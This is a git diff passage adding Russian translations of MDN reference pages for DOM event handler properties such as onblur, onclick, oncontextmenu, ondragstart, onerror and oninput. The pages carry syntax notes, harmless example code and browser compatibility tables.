+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См_также">См также</h2>
+
+<ul>
+ <li>The {{event("animationend")}} event this event handler is triggered by</li>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>The {{event("animationstart")}} event</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onblur/index.html b/files/ru/web/api/globaleventhandlers/onblur/index.html
new file mode 100644
index 0000000000..435313c2d8
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onblur/index.html
@@ -0,0 +1,85 @@
+---
+title: GlobalEventHandlers.onblur
+slug: Web/API/GlobalEventHandlers/onblur
+translation_of: Web/API/GlobalEventHandlers/onblur
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <code><strong>onblur</strong></code> из {{domxref("GlobalEventHandlers")}} событий {{domxref("EventHandler")}} для {{event("blur")}} события. Оно доступно для{{domxref("Element")}}, {{domxref("Document")}} и {{domxref("Window")}}.</p>
+
+<p>Событие <code>blur</code> возникает когда элемент теряет фокус.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Обратным <code>onblur</code> является {{domxref("GlobalEventHandlers.onfocus", "onfocus")}}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>target</em>.onblur = <em>functionRef</em>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><code>functionRef</code>  - это имя функции или <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>. Функция получает объект {{domxref("FocusEvent")}} в качестве единственного аргумента.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>В этом примере <code>onblur</code> и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} используются для изменения текста в элементе {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="CLICK HERE"&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let input = document.querySelector('input');
+
+input.onblur = inputBlur;
+input.onfocus = inputFocus;
+
+function inputBlur() {
+  input.value = 'Focus has been lost';
+}
+
+function inputFocus() {
+  input.value = 'Focus is here';
+}</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>Нажимайте внутри и вне поля формы. Содержимое будет изменятся.</p>
+
+<p id="Result">{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onblur")}}</p>
+
+<p>In contrast to IE, in which almost all kinds of elements receive the <code>blur</code> event, only a few kinds of elements on Gecko browsers work with this event.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("blur")}} event</li>
+ <li>Related event handler: {{domxref("GlobalEventHandlers.onfocus")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onchange/index.html b/files/ru/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..727828bc5b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,57 @@
+---
+title: GlobalEventHandlers.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - onchange
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+</div>
+
+<p>Свойство <code>onchange</code> (Дословно "На изменение") устанавливает и возвращает <a href="/docs/Web/Guide/Events/Event_handlers">обработчик события</a>, для события {{event("change")}} (Изменение чего-либо).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>element</var></em>.onchange = <em>handlerFunction</em>; // handlerFunction - ссылка на функцию обработчик, установленная как свойство <code>onchange, для элемента element</code>
+var <em>handlerFunction</em> = <em><var>element</var></em>.onchange;
+</pre>
+
+<p><code><em>handlerFunction</em></code>  должна быть либо <a href="/en-US/docs/Web/JavaScript/Reference/Functions">функцией</a> определяющей обработчик события, либо <code>null</code> .</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Почитайте  страницу <a href="/en-US/docs/Web/Guide/Events/Event_handlers">DOM обработчики события</a> , там содержится вся информация о работе с  <code>on...</code>  обработчиками.</p>
+
+<p>Документация по событию {{event("change")}}.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести правки в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и Отправьте нам pull-request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onclick/index.html b/files/ru/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..17657d6383
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,103 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Свойство <strong>onclick</strong> возвращает обработчик события <code>click</code> на текущем элементе.</p>
+
+<div class="note"><strong>Note:</strong> При использовании обработчика события <code>click</code> для вызова любого действия, убедитесь, что событие <code>keydown</code> имеет такое же действие. Это нужно для того, чтобы пользователи, которые не используют мышь или тачскрин могли использовать то же действие.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>element</var>.onclick = <var>functionRef</var>;
+</pre>
+
+<p>где <em>functionRef</em> это функция - зачастую это имя функции, которая объявлена где-то в другом месте или же <em>функциональное выражение</em>. См. "<a href="/en-US/docs/JavaScript/Guide/Functions">JavaScript Guide:Functions</a>".</p>
+
+<p>Единственный аргумент, переданный в определённую функцию обработчик события это {{domxref("MouseEvent")}} объект. <code>this</code> внутри обработчика будет указывать на элемент, на котором было вызвано событие.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8" /&gt;
+    &lt;title&gt;onclick event example&lt;/title&gt;
+    &lt;script&gt;
+      function initElement() {
+        var p = document.getElementById("foo");
+        // NOTE: showAlert(); или showAlert(param); так НЕ сработает.
+        // Нужно использовать ссылку на функцию, но не вызов функции.
+        p.onclick = showAlert;
+      };
+
+      function showAlert(event) {
+        alert("onclick Event detected!");
+      }
+    &lt;/script&gt;
+    &lt;style&gt;
+      #foo {
+        border: solid blue 2px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="initElement();"&gt;
+    &lt;span id="foo"&gt;My Event Element&lt;/span&gt;
+    &lt;p&gt;click on the above element.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Или же Вы можете использовать анонимную функцию, как здесь:</p>
+
+<pre class="brush:js">p.onclick = function(event) { alert("moot!"); };
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие <code>click</code> возникает, когда пользователь кликает на элемент. Событие <code>click</code> возникнет после событий <code>mousedown</code> и <code>mouseup</code>.</p>
+
+<p>С данным свойством только один обработчик события <code>click</code> может быть назначен объекту. Возможно, вместо данного метода, Вам стоит обратить внимание на метод {{domxref("EventTarget.addEventListener()")}}, т.к. он более гибкий и является частью спецификации DOM Events.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.onclick")}}</div>
+
+<h2 id="См._также">См. также</h2>
+
+<div>
+<ul>
+ <li>
+  <p id="event(click)_event">{{event("click")}} event</p>
+ </li>
+ <li>Related event handlers
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onauxclick")}}</li>
+   <li>{{domxref("GlobalEventHandlers.ondblclick")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onclose/index.html b/files/ru/web/api/globaleventhandlers/onclose/index.html
new file mode 100644
index 0000000000..6a36f95dce
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onclose/index.html
@@ -0,0 +1,97 @@
+---
+title: GlobalEventHandlers.onclose
+slug: Web/API/GlobalEventHandlers/onclose
+translation_of: Web/API/GlobalEventHandlers/onclose
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик события для событий закрытия, отправляется в окно. (Не доступен в Firefox 2 или Safari)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onclose = funcRef;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> является ссылкой на функцию.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.onclose = resetThatServerThing;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>базоввая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>базоввая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html
new file mode 100644
index 0000000000..cc206b1a8c
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html
@@ -0,0 +1,63 @@
+---
+title: GlobalEventHandlers.oncontextmenu
+slug: Web/API/GlobalEventHandlers/oncontextmenu
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - oncontextmenu
+translation_of: Web/API/GlobalEventHandlers/oncontextmenu
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">Свойство обработчика событий для события клика правой кнопкой мыши внутри элемента window. </span></p>
+
+<p><span class="seoSummary">Если стандартное поведение не будет предотвращено, то активируется контекстное меню браузера (В IE8 есть ошибка, связанная с тем что контекстное меню не будет активировано если определён обработчик события contextmenu). </span></p>
+
+<p><span class="seoSummary">Обратите внимание что это событие будет происходить вместе с другими событиями right-click и не зависит от <a href="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/">"contextmenu" атрибута</a> элемента.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.oncontextmenu = funcRef;
+//funcRef - ссылка на функцию, которая будет вызвана в ответ на событие "oncontextmenu", происходящее при клике правой кнопкой мыши внутри объекта window.</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Код в этом примере меняет стандартное поведение браузера, отключая клик правой кнопкой мыши.</p>
+
+<pre class="brush:js;">document.oncontextmenu = function () { // Используйте объект "document" вместо "window" для совместимости с IE8.
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Не совместимо с IE младше 9 версии
+    e.preventDefault();
+}, false);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Специфкация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести правки в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и Отправьте нам pull-request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.oncontextmenu")}}</p>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/ondragstart/index.html b/files/ru/web/api/globaleventhandlers/ondragstart/index.html
new file mode 100644
index 0000000000..3ead749a9b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/ondragstart/index.html
@@ -0,0 +1,111 @@
+---
+title: GlobalEventHandlers.ondragstart
+slug: Web/API/GlobalEventHandlers/ondragstart
+translation_of: Web/API/GlobalEventHandlers/ondragstart
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>{{domxref("GlobalEventHandlers","global event handler")}} для события {{event("dragstart")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>dragstartHandler</var> = <var>targetElement</var>.ondragstart;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>dragstartHandler</code></dt>
+ <dd>Обработчик событий <em>dragstart</em> для элемента <code>targetElement</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонстрирует использование {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} атрибута обработчика для установки обработчика событий элемента {{event("dragstart")}}.</p>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html lang=en&gt;
+&lt;title&gt;Examples of using the ondrag Global Event Attribute&lt;/title&gt;
+&lt;meta content="width=device-width"&gt;
+&lt;style&gt;
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;script&gt;
+function drag_handler(ev) {
+ console.log("Drag");
+}
+
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.currentTarget.style.background = "lightyellow";
+
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+&lt;/script&gt;
+&lt;body&gt;
+&lt;h1&gt;Examples of &lt;code&gt;ondrag&lt;/code&gt;, &lt;code&gt;ondrop&lt;/code&gt;, &lt;code&gt;ondragstart&lt;/code&gt;, &lt;code&gt;ondragover&lt;/code&gt;&lt;/h1&gt;
+ &lt;div&gt;
+   &lt;p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"&gt;
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);"&gt;Drop Zone&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondragstart", "ondragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "index.html#ix-handler-ondragstart", "ondragstart")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.ondragstart")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{event("dragstart")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html
new file mode 100644
index 0000000000..29555d6c44
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onerror/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.onerror
+slug: Web/API/GlobalEventHandlers/onerror
+tags:
+  - API
+  - HTML DOM
+  - Свойство
+  - Ссылка
+translation_of: Web/API/GlobalEventHandlers/onerror
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Обработчик события для ошибок среды Javascript.</p>
+
+<p>Обратите внимание, что некоторые/многие <code>error</code> не вызывают <code>window.onerror</code>, вы должны слушать их специально.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>window.onerror = funcRef;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> ссылка на функцию. Когда функция возвращает <code>true</code>, блокируется вызов обработчика события по умолчанию. Параметры функции:
+
+  <ul>
+   <li>Сообщение ошибки (string)</li>
+   <li>Url, где произошла ошибка (string)</li>
+   <li>Номер строки, где прошизошла ошибка (number)</li>
+   <li>Номер столбца для строки, в которой произошла ошибка (number) {{gecko_minversion_inline("31.0")}}</li>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error Object</a> (object) {{gecko_minversion_inline("31.0")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">// Пример 1:
+
+// Предотвращает диалоги об ошибках, отображает какая это функция окна, это нормальное
+// поведение - путем переопределения обработчика событий по умолчанию для событий об ошибках, которые
+// переходят окну.
+window.onerror = null;
+
+// Пример 2:
+
+var gOldOnError = window.onerror;
+// Переопределить прошлый обработчик события.
+window.onerror = function myErrorHandler(errorMsg, url, lineNumber) {
+  if (gOldOnError)
+    // Вызвать прошлый обработчик события.
+    return gOldOnError(errorMsg, url, lineNumber);
+
+  // Просто запустить обработчик события по умолчанию.
+  return false;
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие возникает, когда происходит ошибка в скрипте.</p>
+
+<p>При использовании строчной HTML-разметки (<span class="nowiki">&lt;body onerror="alert('an error occurred')&gt;...</span>), аргументы не именуются. Они могут быть доступны через arguments от <code>{{ mediawiki.external(0) }}</code> до <code>{{ mediawiki.external(2) }}</code>.</p>
+
+<p>Здесь недоступен <code><a class="external" href="/en/Components.stack" title="https://developer.mozilla.org/En/Components.stack">Components.stack</a>.caller для использования</code>. (Смотрите <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=355430"><strong>bug 355430</strong></a>.)</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097" title="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097">JavaScript 1.1</a></p>
diff --git a/files/ru/web/api/globaleventhandlers/onfocus/index.html b/files/ru/web/api/globaleventhandlers/onfocus/index.html
new file mode 100644
index 0000000000..ad7fce00bc
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onfocus/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onfocus
+slug: Web/API/GlobalEventHandlers/onfocus
+translation_of: Web/API/GlobalEventHandlers/onfocus
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <strong>onfocus</strong> устанавливает обработчик события onFocus на данный элемент.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">element.onfocus = выполняемый код при сработке события
+</pre>
+
+<h2 id="Заметка">Заметка</h2>
+
+<p>Событие фокуса (focus) вызывается когда пользователь устанавливает фокус на данный элемент.</p>
+
+<p>Чтобы вызвать событие <strong><code>onfocus</code></strong> на элементах, отличных от полей ввода <strong>input, </strong>им необходимо предварительно добавить атрибут {{htmlattrxref("tabindex")}} (см. <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a> для подробностей).</p>
+
+<p>В отличие от браузеров IE, в которых практически на всех элементах можно вызвать событие фокуса, браузеры, написанные на движке <strong>Gecko (Mozilla Firefox), </strong>не поддерживают это событие<strong>.</strong></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/oninput/index.html b/files/ru/web/api/globaleventhandlers/oninput/index.html
new file mode 100644
index 0000000000..7da5c5e43b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/oninput/index.html
@@ -0,0 +1,110 @@
+---
+title: GlobalEventHandlers.oninput
+slug: Web/API/GlobalEventHandlers/oninput
+translation_of: Web/API/GlobalEventHandlers/oninput
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Обработчик события для </span></span><a href="/en-US/docs/Web/Events/input"><code>input</code> event</a><span lang="ru"><span> в окне.</span> <span>Событие ввода возникает при изменении значения элемента {{HTMLElement ("input")}}.</span><br>
+ <br>
+ <span>Это событие пузырится.</span> <span>Если он поддерживается в окне, он поддерживается и в {{HTMLElement ("input")}}.</span></span></p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;script&gt;
+
+window.addEventListener('input', function (e) {
+ console.log("input event detected! coming from this element:", e.target);
+}, false);
+
+&lt;/script&gt;
+
+&lt;input placeholder="type here and see console."&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#event-input-input", "oninput")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2</td>
+   <td>9</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.danielfriesen.name/2010/02/16/html5-browser-maze-oninput-support/">An HTML5 Browser maze, oninput support</a></li>
+ <li><a class="external" href="http://www.useragentman.com/blog/2011/05/12/fixing-oninput-in-ie9-using-html5widgets/">Fixing oninput in IE Using html5Widgets</a> includes polyfill for IE6-8</li>
+ <li>Mathias Bynens suggests <a class="external" href="http://mathiasbynens.be/notes/oninput">binding to both input and keydown</a></li>
+ <li><a class="external" href="http://help.dottoro.com/ljhxklln.php">oninput event | dottoro</a> has notes about bugginess in IE9</li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=312094">Bug 312094 - Add support for &lt;select oninput&gt; </a></li>
+</ul>
